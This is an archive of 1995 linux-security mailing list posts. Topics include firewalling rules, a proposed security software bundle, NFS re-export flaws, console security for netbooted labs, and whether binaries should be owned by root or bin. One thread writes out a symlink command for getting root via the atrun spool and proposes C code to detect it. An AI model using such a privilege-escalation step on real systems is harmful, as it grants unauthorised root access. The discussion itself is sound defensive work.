probably just hallucinating e-mail now... Please send replies directly to Alex; he'll be including the information in the in-the-works Linux Security FAQ. Thanks much! --Jeff.] From [email protected] Tue May 16 03:33:59 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id DAA04057; Tue, 16 May 1995 03:32:23 -0400 Received: from dunx1.ocs.drexel.edu (dunx1.ocs.drexel.edu [129.25.3.11]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id LAA00349; Fri, 5 May 1995 11:27:54 -0400 Received: (snyderra@localhost) by dunx1.ocs.drexel.edu (8.6.11/8.6.4) id LAA06103 for [email protected]; Fri, 5 May 1995 11:27:40 -0400 From: Bob Snyder Message-Id: <[email protected]> Subject: IP Firewalling docs? To: [email protected] Date: Fri, 5 May 1995 11:27:40 -0400 (EDT) X-Mailer: ELM [version 2.4 PL13] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 499 Sender: [email protected] Precedence: list Does anyone know of any good docs on the IP firewalling code? I know what packet filtering is, I own and have read Cheswick & Bellovin's _Firewalls and Internet Security_, and I've set up packet filters for other platforms, but I'm a bit confused about the 3 different sets of rules. I can guess the accounting rules are used only to count packets, but which packets do forwarding and firewalling trip on? Which one (or both) applies to the linux box itself? What order are they applied in? Bob [Mod: Please reply to the author. Also, please note that the linux-net list at vger.rutgers.edu is probably a better overall forum for questions and discussions related to the firewalling code (so please let's not develop this into a thread here). --Jeff.] From [email protected] Tue May 16 03:37:35 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id DAA04108; Tue, 16 May 1995 03:36:10 -0400 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id PAA08906; Sat, 6 May 1995 15:32:40 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Proposal - Linux security package and howto To: [email protected] (Bob Bagwill) Date: Sat, 6 May 1995 20:32:21 +0100 (BST) Cc: [email protected] In-Reply-To: <[email protected]> from "Bob Bagwill" at May 3, 95 11:05:03 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1071 Sender: [email protected] Precedence: list > I would like to see a package of essential software for Linux > security. Particular distributions tend to include some of the > components, but not others. It might be useful to have a server package, > which is appropriate for a multi-user, multi-purpose Linux system, and > a desktop package for a single-user system. I'd also like to > see accompaning howto's. Its hard to do this for various reasons. > To get the ball rolling, here is some software I had to obtain for > my single-user desktop box: > > anon-ftpd-0.7 - to permit worry-free ftp My distribution came with wuftpd-2.4 which I believe is secure (please tell me if I am wrong) > cops_104 - to check for config problems, needs to be improved for Linux Yes.. also tripwire and the tripwire config for the standard distribution > pgp262s - to send and receive confidential email, and to secure integrity info > rsaref - for pgp Both cause hassle due to US ITAR regulations > xautolock.pl10 - to lock the screen when I leave my desk Not safe because Linux has CTRL-ALT-BS and screen switching. From [email protected] Tue May 16 03:44:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id DAA04149; Tue, 16 May 1995 03:42:55 -0400 Received: from kangaroo.ncsl.nist.gov (KANGAROO.NCSL.NIST.GOV [129.6.58.206]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id JAA17720; Mon, 8 May 1995 09:32:12 -0400 Received: from kangaroo.ncsl.nist.gov (bagwill@localhost [127.0.0.1]) by kangaroo.ncsl.nist.gov (8.6.12/8.6.12) with ESMTP id IAA01460 for ; Mon, 8 May 1995 08:32:40 -0400 Message-Id: <[email protected]> X-Mailer: exmh version 1.5.3 12/28/94 To: [email protected] Subject: Re: Proposal - Linux security package and howto In-reply-to: Your message of "Fri, 05 May 1995 21:20:52 EDT." Mime-Version: 1.0 Content-Type: application/pgp ; format=mime ; x-action=signclear Date: Mon, 08 May 1995 08:32:40 -0400 From: Bob Bagwill Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Content-Type: text/plain; charset="us-ascii" Alex [paraphrased] said: > > anon-ftpd-0.7 - to permit worry-free ftp > > This is not included in FAQ and I'd not recommend this program. We had > several reports from companies that were using it that sometimes systems > that run anon-ftpd suddenly freeze (SunOS, Solaris, OSF/1, BSD 4.3) That may be. In any case, a simpler ftpd would be nice to have. Users often set up anonymous FTP wrong, and the wu-ftpd's configurability is a two-edged sword. > > rsaref - for pgp > > Please notice that neither pgp nor rsaref can be included into any of > linux distributions due to USA (stupid, IMHO) export/import regulations. > Having a court case against Phill goin on right now, no one in the right > mind would risk. That's OK. Although a physical security package would be nice, a virtual one consisting of what to get, and how to install it, would be almost as useful. Also, we could have a US version on a US machine, and a non-US version elsewhere, which would be identical except for the source of the encryption software. > > skey-2.2 - to login to firewall system > > Included in FAQ. I'm still trying to figure out who has a reasonable > patches to combine skey with shadow. Also, skey is not a login to a > firewall system - this is just a one time password authenticator/ That's true, but many firewalls seem to be using s/key for their authenticator for external access. > > lsof_3.23 - to check for suspicious processes > Does not work with Linux (yet?). The version I have seems to work. > > chrootuid - to chroot WWW daemons > I'm not familiar with this one unless you mean just chroot. Chrootuid is a little wrapper you use to invoke the daemons which do not chroot themselves. Actually, most can or do, but you may not trust that they do it correctly. - -- Bob Bagwill Bob Bagwill -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBL64PZy3LE4ASJ+zxAQEvjAIAvDKg/nKjQ7gNBVsElFYj/ed9OOw/TZLH EKFjNil8nV7facIC94tbO9nURm2j62qSCEKWZkbVFip1fEelDn19EQ== =O6Tj -----END PGP SIGNATURE----- From [email protected] Tue May 16 03:49:57 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id DAA04318; Tue, 16 May 1995 03:48:19 -0400 Received: from bach.cis.temple.edu (bach.cis.temple.edu [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id TAA04549; Wed, 10 May 1995 19:18:16 -0400 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.10/8.6.9) id TAA08007; Wed, 10 May 1995 19:22:00 -0400 Date: Wed, 10 May 1995 19:22:00 -0400 (EDT) From: alex To: Aleph One cc: [email protected] Subject: Re: linux nfsd In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello, > ObBug: i have recently discovered that it is possible to re-export an > imported filesystem under Linux. to illustrate: > > hostA --> exports /usr/share to -access=hostB > hostB --> a linux box. re-exports /usr/share to everyone > hostC --> not implicitly trusted by hostA, mounts /usr/share > > aside from any security concerns, this would certainly thrash your nfsd's. > does anyone have any experience with this? i have only recently discovered > this, and have not had time to peruse it in depth. I do not think that there's a security problem here. When hostA exports /usr/share to hostB /usr/share becomes a part of hostB's filesystem. Now this is not of hostA's business to know/limit what hostB does to parts of its filesystem. Best wishes. Alex ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL http://bach.cis.temple.edu ============================================================================= From [email protected] Tue May 16 03:55:49 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id DAA04380; Tue, 16 May 1995 03:54:16 -0400 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id TAA04598; Wed, 10 May 1995 19:47:25 -0400 Received: by dfw.net (4.1/SMI-4.1) id AA01582; Wed, 10 May 95 18:46:40 CDT Date: Wed, 10 May 1995 18:46:39 -0500 (CDT) From: Aleph One To: alex Cc: [email protected] Subject: Re: linux nfsd In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Actually it is againts the NFS especification adn if not done right can cause server lockups. But anyway I just found that linux does not do it by default, you need to use the -r option to have it do it. a1 On Wed, 10 May 1995, alex wrote: > I do not think that there's a security problem here. When hostA exports > /usr/share to hostB /usr/share becomes a part of hostB's filesystem. Now > this is not of hostA's business to know/limit what hostB does to parts of > its filesystem. [Moderator's FYI, from the man-page on nfsd(8): -r or --re-export Allow imported NFS file-systems to be exported. This can be used to turn a machine into an NFS mul- tiplier. Caution should be used when re-exporting loopback NFS mounts because re-entering the mount point will result in deadlock between the NFS client and the NFS server. --Jeff.] From [email protected] Tue May 16 04:51:01 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id EAA04750; Tue, 16 May 1995 04:46:35 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id EAA04746; Tue, 16 May 1995 04:46:28 -0400 Date: Tue, 16 May 1995 04:46:28 -0400 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Explanation of sudden burst of list traffic. X-Spook: [Hello to all my fans in domestic surveillance] aircraft carrier AK-47 X-Attribution: Up Sender: [email protected] Precedence: list The sudden overnight (it's well past 4 AM here) burst in list traffic was just me cleaning house and catching up on some lesser-priority back posts. I also sent out quite a few "rejection" notes for other submissions, and now appear to finally be caught up. (Phew! I've been busy of late and also out of town some for DECUS and NRAO conferences/meetings. Olaf's been busy as well, and had the Berlin conference to prepare for.) Don't worry though...this does not signal a return to heavy traffic on this list--things have been quite light overall lately, even taking this quick blizzard into account. If you submitted a post and neither received a note in reply nor saw it appear on the list, drop an e-mail to owner-linux-security and either Olaf or I can try to dig up the post in question and figure out why it wasn't approved (or officially rejected). In the way of general FYI's (for newcomers or for those that may have a tendency to lose track of things like I do): Alex Yuriev has been working a good bit lately on getting a security FAQ put together for Linux (it's still in a relatively early stage of development). Some info pointers for this are: http://bach.cis.temple.edu/linux/linux-security ftp://linux.nrao.edu/pub/linux/security/FAQ/updates Olaf has been steadily working on improving the NFS server. The latest version is 2.2alpha6 and is available at: linux.nrao.edu:/pub/people/okir/nfsd or fb0433.mathematik.th-darmstadt.de:/pub/linux/okir. Dane Jasper has a nice hypermail WWW gateway set up for browsing the linux-security and linux-alert list archives. Base URL is: http://www.sonic.net/hypermail. I know there were a couple of other things that I wanted to mention, but I'm dead tired and going to bed! --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Tue May 16 11:49:37 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA09512; Tue, 16 May 1995 11:44:50 -0400 Received: from kodiak.gtri.gatech.edu (kodiak.gtri.gatech.edu [130.207.198.113]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id IAA07290; Tue, 16 May 1995 08:22:03 -0400 From: [email protected] Received: (from stan@localhost) by kodiak.gtri.gatech.edu (8.6.9/8.6.9) id IAA00472; Tue, 16 May 1995 08:21:31 -0400 Date: Tue, 16 May 1995 08:21:31 -0400 Message-Id: <[email protected]> To: [email protected] CC: [email protected], [email protected] In-reply-to: ([email protected]) Subject: Re: Proposal - Linux security package and howto Sender: [email protected] Precedence: list > xautolock.pl10 - to lock the screen when I leave my desk Not safe because Linux has CTRL-ALT-BS and screen switching. This can easily be turned off in the XF86Config file. linux-security/1995/linux-security.950517100664 1767 1767 5705 5756430252 17253 0ustar majdommajdomFrom [email protected] Wed May 17 13:21:41 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id NAA17853; Wed, 17 May 1995 13:01:48 -0400 Received: from pigpen.ohm.york.ac.uk (pigpen.ohm.york.ac.uk [144.32.136.134]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id NAA10787; Tue, 16 May 1995 13:30:51 -0400 Received: from ohm.york.ac.uk ([127.0.0.1]) by pigpen.ohm.york.ac.uk with esmtp ident nigelm using rfc1413 id m0sBQRs-000DA8C (/\##/\ Smail3.1.29.2 #29.3); Tue, 16 May 95 18:30 BST Message-Id: X-Mailer: exmh version 1.6 4/21/95 To: [email protected] Subject: Securing the console of a linux system, given a secure boot Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 16 May 1995 18:30:20 +0200 From: Nigel Metheringham Sender: [email protected] Precedence: list We run a set of PCs here that are net booted using bootp via a ROM on the net card [the specific one is Dirk Koppen's TCP/IP boot ROM]. Currently we boot them into DOS/Windows. This boot ROM has the capability to disallow floppy booting and since these machines have no hard drive in them it is difficult to boot them other than off the network. I have experimented with some success with a method of booting Linux across the network using an NFS mounted root partition, and think I could get this working successfully for a lab of machines (experiments were done with a single slightly differently configured system]. The intention is to run the systems as X terminals with the local Sun servers supporting them using Xdm. [There will be an alternative boot config to the current DOS/Windows setup - shame! - the boot ROM supports a choice from a menu of boot images] Given this sort of setup, can anyone see any major hole which our students could march through and thus get root access on the network (those machines have filesystem access for their DOS/Windows PC/NFS configuration). Or to rephrase the same question. If I can basically boot the system securely, and a halt/reboot is caught securely, can a linux console be made/considered secure? Nigel. [before I get a flood of queries, I am intending to write up how we netboot linux to a diskless system. when I do so I'll either copy it to, or put a pointer to the announce list] - Nigel Metheringham -- EMail: [email protected] [email protected] - - System Administrator, Electronics Dept, University of York, York YO1 5DD - - Tel: +44 1904 432374, Fax: +44 1904 432335 | PGP key available from WWW - - WWW: http://www.amp.york.ac.uk/~nm4/ | - [Mod: Please reply to author. Nigel, could you post a summary of any decent responses you get regarding the Linux-booting portion and any security issues it raises (or solves)? This is an interesting twist to the long-standing problem of securing a Linux console. --Jeff.] linux-security/1995/linux-security.950524100664 1767 1767 10506 5760713407 17265 0ustar majdommajdomFrom [email protected] Wed May 24 13:28:58 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id NAA04858; Wed, 24 May 1995 13:04:37 -0400 Received: from mvmampc66.ciw.uni-karlsruhe.de (mvmampc66.ciw.uni-karlsruhe.de [129.13.110.66]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id IAA03688; Wed, 24 May 1995 08:19:26 -0400 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.12/8.6.12) id OAA03469 for [email protected]; Wed, 24 May 1995 14:16:52 +0200 Message-Id: <[email protected]> Subject: switching symlinks on atrun To: [email protected] (linux-security) Date: Wed, 24 May 1995 14:16:52 +0200 (MET DST) From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1845 Sender: [email protected] Precedence: list A mention on bugtraq just made me aware of a potential problem with at/atrun: /var/spool/atrun is owned by a non - root userid, usually bin. If somebody broke into bin, he could then execute a shell script owned by root with root permissions, via a ln -s /bin/rootscript /var/spool/atrun/jobname with potentially fatal consequences. I see two possibilities to counter this: - put a 'signature' into an at file, i.e. have it start with #!/bin/sh # atrun user=20 group=30 Let atrun abort if the numeric userid and groupid on the script don't match the numbers on the file. I'm currently working on this. - Check wether we're currently trying to execute a symbolic link. This is hard to get right without races, and I'd like opinions on that. What I'm currently thinking of is: fd = open(atrunfile, O_RDONLY); fstat(fd,&buf); lstat(atrunfile,&lbuf); if (S_ISLINK(lbuf.st_mode)) { /* abort and general mayhem here - somebody is trying to trick * us into executing a symbolic link */ } if ((lbuf.st_dev !=buf.st_dev ) || (lbuf.st_ino !=buf.st_ino) || (lbuf.st_uid !=buf.st_uid ) || (lbuf.st_gid !=buf.st_gid) || (lbuf.st_size!=buf.st_size)) { /* Apparently, somebody changed the file from under us between * the fstat and lstat calls. DANGER! */ } ... pass the file descriptor fd to /bin/sh as stdin Question is: is the second if a secure test, or can anybody think of conditions where a cracker might get get past it? The best solution would be to find out, via the lstat call, wether the open actually refereed to a symbolic link. Alternatively, being able to specify a O_NONSYM flag to the open call would also help. Comments? -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. From [email protected] Wed May 24 16:28:48 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id QAA05664; Wed, 24 May 1995 16:24:34 -0400 Received: from as.ucsb.edu (as.ucsb.edu [128.111.254.143]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id VAA14422; Tue, 16 May 1995 21:02:19 -0400 Received: by as.ucsb.edu id m0sBXVB-0002BcC; (Linux Smail #12) for Tue, 16 May 95 18:02:20 PDT Message-Id: Date: Tue, 16 May 95 18:02:17 PDT From: [email protected] (Marc A. Tamsky) To: [email protected] In-reply-to: <[email protected]> (message from Bob Bagwill on Mon, 08 May 1995 08:32:40 -0400) Subject: Re: Proposal - Linux security package and howto X-pgp-key-info: 1024/E665B9ED: B6 C3 BD 8A 7A 79 03 55 CC 24 F4 01 2B BD 90 3A X-pgp-key--finger: [email protected] Reply-to: "Marc A. Tamsky" Sender: [email protected] Precedence: list I can only find the quote, and not the author of: > I'm still trying to figure out who has a reasonable > patches to combine skey with shadow. I've got a set I have already submitted to the Shadow-suite author . Please ask me for the patches, rather than bothering John. -- | Marc Tamsky -- [email protected] - Linux, the choice of generation-GNU. | Protect your rights: learn, use, and practice safe encryption. [Mod: This is a follow-up to a much earlier thread. I'm forwarding it to the list for general informational purposes. --Jeff.] linux-security/1995/linux-security.950525100664 1767 1767 26052 5761121257 17266 0ustar majdommajdomFrom [email protected] Thu May 25 10:04:17 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id JAA09256; Thu, 25 May 1995 09:58:08 -0400 Received: from pigpen.ohm.york.ac.uk (pigpen.ohm.york.ac.uk [144.32.136.134]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id HAA08846; Thu, 25 May 1995 07:31:50 -0400 Received: from ohm.york.ac.uk ([127.0.0.1]) by pigpen.ohm.york.ac.uk with esmtp ident nigelm using rfc1413 id m0sEb8i-000DA4C (/\##/\ Smail3.1.29.2 #29.3); Thu, 25 May 95 12:31 BST Message-Id: X-Mailer: exmh version 1.6 4/21/95 cc: [email protected] Subject: [SUMMARY] Securing the console of a linux system, given a secure boot In-reply-to: Your message of "Tue, 16 May 1995 18:30:20 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 25 May 1995 12:31:40 +0200 From: Nigel Metheringham Sender: [email protected] Precedence: list Hi, The original query asked if, given a system that couldn't have the boot intercepted or modified, a Linux system could be considered/made secure. Then to muddy the issue I described our PC boot setup where the DOS side of things is based on netbooted PC/NFS. Rather than include long extracts I am going to summarise the responses - and my summaries are rather brutal! If someone feels I am misrepresenting them please contact me and I'll try to redress that - its not intentional! Basically, on the linux side, the consensus was that if the boot could be secured - ie a user cannot boot from floppy - then the system is as secure as a general Unix system. An NFS mounted root could be vulnerable to external hacking - best exported read-only. However having the PCs also able to boot into DOS with PC/NFS opens up a new can of worms. PC/NFS can be hacked - and thats difficult to plug. The suggestion of loading a linux up using loadlin or similar was also mentioned - this is obviously possible (but in our case needs some work doing since loadlin and its friends cannot handle the PCs memory map without managing to crash the system as it loads the image - however clever programming would easily defeat this). A lot of things boiled down to the fact that NFS security relies on trust between the server and client. PCs (under DOS) are not trustable, and so the whole system falls apart as soon as a PC with DOS is trusted. With current protocols a system which has no memory protection cannot be made trustworthy. Other suggestions included physically disconnecting the system and spoofing with an external system - yes that can be done, its not a problem unique to this setup (managed 10BaseT hubs should help here, but if you change the hardware address of the card things get interesting). It appears that the addition of linux into the equation does not degrade security at all from our current setup. Removing DOS would enhance security (and of course be the morally right thing to do :-) ). Thanks to the following people who responded to my original request:- "Alvaro M. Echevarria" "Steve \"Stevers!\" Coile" Jack of all trades Yossi Gottlieb [email protected] (Alan Cox) [email protected] (Ian Jackson) [email protected] (Josef Leydold) If you want to add to this I suggest you send comments to me - if there is a set of these then I will pass them on to the list. Alternatively if its a new thread derived from this then take it on to the moderators. Nigel. - Nigel Metheringham -- EMail: [email protected] [email protected] - - System Administrator, Electronics Dept, University of York, York YO1 5DD - - Tel: +44 1904 432374, Fax: +44 1904 432335 | PGP key available from WWW - - WWW: http://www.amp.york.ac.uk/~nm4/ | - From [email protected] Thu May 25 11:12:56 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA09594; Thu, 25 May 1995 11:10:21 -0400 Received: from dhp.com (dhp.com [204.171.33.1]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id DAA08288; Thu, 25 May 1995 03:56:25 -0400 Received: (from panzer@localhost) by dhp.com (8.6.12/8.6.9) id WAA26332; Wed, 24 May 1995 22:16:11 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: Proposal - Linux security package and howto Date: 24 May 1995 22:16:09 -0400 Organization: DataHaven Project +1 412 683 8582 Lines: 11 Message-ID: <[email protected]> References: X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list : > I'm still trying to figure out who has a reasonable : > patches to combine skey with shadow. ftp.dhp.com:/pub/crypto/skey/ It's md4 skey, but it works fine. I haven't had time to incorporate md5, and basically the logdaemon version into it yet. -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Thu May 25 11:12:56 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA09605; Thu, 25 May 1995 11:10:35 -0400 Received: from mvmampc66.ciw.uni-karlsruhe.de (mvmampc66.ciw.uni-karlsruhe.de [129.13.110.66]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id FAA08519; Thu, 25 May 1995 05:30:16 -0400 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.12/8.6.12) id LAA06903; Thu, 25 May 1995 11:29:23 +0200 Message-Id: <[email protected]> Subject: Re: switching symlinks on atrun To: [email protected] (Michael Shields) Date: Thu, 25 May 1995 11:29:23 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: from "Michael Shields" at May 25, 95 03:16:08 am From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 635 Sender: [email protected] Precedence: list > > > /var/spool/atrun is owned by a non - root userid, usually bin. > > > > If somebody broke into bin, he could then execute a shell script > > owned by root with root permissions, via a > > But lots of things are owned by bin. /bin/sh is probably owned by bin. > If you have bin, you can get root, at or no at. Ugh... they should not be. Unless some system binary needs to be setuid to a particular userid, it should ALWAYS be owned by root, for exactly this reason. -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. From [email protected] Thu May 25 11:12:56 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA09600; Thu, 25 May 1995 11:10:27 -0400 Received: from relay3.UU.NET (relay3.UU.NET [192.48.96.8]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id CAA07743; Thu, 25 May 1995 02:47:01 -0400 Received: from uucp3.UU.NET by relay3.UU.NET with SMTP id QQyrer07464; Wed, 24 May 1995 23:21:45 -0400 Received: from tembel.UUCP by uucp3.UU.NET with UUCP/RMAIL ; Wed, 24 May 1995 23:21:45 -0400 Received: by yage.tembel.org (Smail3.1.29.1 #8) id m0sETP6-000DOnC; Thu, 25 May 95 03:16 GMT Message-Id: From: [email protected] (Michael Shields) Subject: Re: switching symlinks on atrun To: [email protected] (Thomas Koenig) Date: Thu, 25 May 1995 03:16:08 +0000 (GMT) Cc: [email protected] In-Reply-To: <[email protected]> from "Thomas Koenig" at May 24, 95 02:16:52 pm X-Disclaimer: I speak for no one and the Illuminati speak for me. X-Dogma: Microsoft is not the answer. Microsoft is the question. No is the answer. X-PGP-Finger: [email protected] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 314 Sender: [email protected] Precedence: list > /var/spool/atrun is owned by a non - root userid, usually bin. > > If somebody broke into bin, he could then execute a shell script > owned by root with root permissions, via a But lots of things are owned by bin. /bin/sh is probably owned by bin. If you have bin, you can get root, at or no at. -- Shields. From [email protected] Thu May 25 11:30:50 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA09782; Thu, 25 May 1995 11:29:32 -0400 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id LAA09608; Thu, 25 May 1995 11:11:04 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sEeXf-0005AqC; Thu, 25 May 95 17:09 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sEe3g-000KjbC; Thu, 25 May 95 16:38 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: NFS re-export and more To: [email protected] Date: Thu, 25 May 1995 16:38:43 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1595 Sender: [email protected] Precedence: list Hi all, Sorry for being so late in picking up this thread, but I've been buried under a pile of work. The NFS re-export problem is actually two-fold. On one hand, if machine B exports directory /foo/bar, with a directory named /foo/bar/mnt NFS-mounted from host A below it, nfsd should hide anything below that mount point. It has been doing so for ages, except for a tiny exception: When the client C does a readdir, it actually sees the . and .. entries from host A instead of the (hidden) entries from B. That will take some tweaking to fix it, and I haven't done it yet. On the other hand, mountd should never hand out file handles for NFS-mounted directories. Until now, it did check for this. This is fixed in the upcoming 2.2alpha9 version. Finally, a word about shells and other stuff being owned by bin. Normally, having /bin/sh and other files owned by bin should not be a great problem because the bin account should have password `*', and there shouldn't be any setuid bin programs around. So to become bin, the only way is to execute `su - bin' as root. However, this picture changes with NFS. Although we have root squashing, this applies only to uid/gid 0; all other IDs are passed unaltered. The obvious cure against this is to add another exports option to nfsd that squashes all uids/gids within a certain `sensitive range' from, say, 0 through 50. Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. linux-security/1995/linux-security.950528100664 1767 1767 21104 5762056373 17271 0ustar majdommajdomFrom [email protected] Sun May 28 07:22:21 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id GAA16214; Sun, 28 May 1995 06:57:22 -0400 Received: from mvmampc66.ciw.uni-karlsruhe.de (mvmampc66.ciw.uni-karlsruhe.de [129.13.110.66]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id KAA21153; Fri, 26 May 1995 10:43:31 -0400 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.12/8.6.12) id QAA09350; Fri, 26 May 1995 16:32:57 +0200 Message-Id: <[email protected]> Subject: Should root own binaries? To: [email protected] (Joseph S. D. Yao) Date: Fri, 26 May 1995 16:32:56 +0200 (MET DST) Cc: [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "Joseph S. D. Yao" at May 25, 95 03:27:18 pm From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 2524 Sender: [email protected] Precedence: list > From: [email protected] (Thomas Koenig) > > Ugh... they should not be. Unless some system binary needs to be setuid > > to a particular userid, it should ALWAYS be owned by root, for exactly > > this reason. > > I'm afraid that I must respectfully but strongly disagree with the last > conclusion. > > I hold it as a strong security tenet that nothing on the file system > should be owned by root. Absolutely nothing at all. Unless, of > course, it will not work otherwise. There is one case when this is absolutely needed: If you export your files via NFS, they should be root - owned; otherwise every host you export them to can modify them. Yes, there's a readonly option; no, it doesn't always work (Linux nfsd before version 2.1 was one example; unfortunately, there are others). > Why is this? I have two primary reasons. > > The first reason is to discourage, as much as possible, the practice > some people have of doing ALL system maintenance work as the super-user. Well, I trust myself enough to do this :-) [...] > to change all files and directories owned by > root - unless I can be persuaded otherwise - to some other user, typi- > cally "bin" (or "sys"). Do these accounts have passwords, or do you reach them via su from root only? Do ANY programs run as these users, daemons, for example (the way Slackware is set up, atrun runs as bin most of the time; any programming error in atrun might lead to breaking into the bin account, and then modifying your system binaries)? Do you use NFS? > The second reason is to discourage the writing of programs that > "really, absolutely, HAVE to be" setuid-root. That's an entirely different kettle of fish. I am talking about, for example, wether /bin/ls should be 755, and owned by root, or 755, and owned by bin. > It is absolutely true that, if someone cracks the "bin" account, they > would then (under this arrangement) be in a good position to get full > control of the system. Yes, precicely. > Note that they would not have full control of > the system immediately, as they would if they were to crack the "root" > account. I wouldn't take long, though. >The solution, though, is to protect ALL system accounts, be > they "root", "bin", "sys", "field" [if such exist], or whatever. Protect them how, exactly? Replace their password entry with '*'? :-) -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. From [email protected] Sun May 28 07:22:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id GAA16206; Sun, 28 May 1995 06:57:15 -0400 Received: from as.ucsb.edu (as.ucsb.edu [128.111.254.143]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id EAA20126; Fri, 26 May 1995 04:08:35 -0400 Received: by as.ucsb.edu id m0sEuRc-0002C0C; (Linux Smail #12) for Fri, 26 May 95 01:08:36 PDT Message-Id: Date: Fri, 26 May 95 01:08:32 PDT From: [email protected] (Marc A. Tamsky) To: [email protected] In-reply-to: <[email protected]> ([email protected]) Subject: Re: skey + shadow-3.3.1 logins X-pgp-key-info: 1024/E665B9ED: B6 C3 BD 8A 7A 79 03 55 CC 24 F4 01 2B BD 90 3A X-pgp-key--finger: [email protected] Sender: [email protected] Precedence: list I have a diff file which modifies shadow-based login and su to allow either skey or normal logins. URL:ftp://ftp.as.ucsb.edu/pub/skey/shadow-3.3.1-2.skey.dif -- | Marc Tamsky 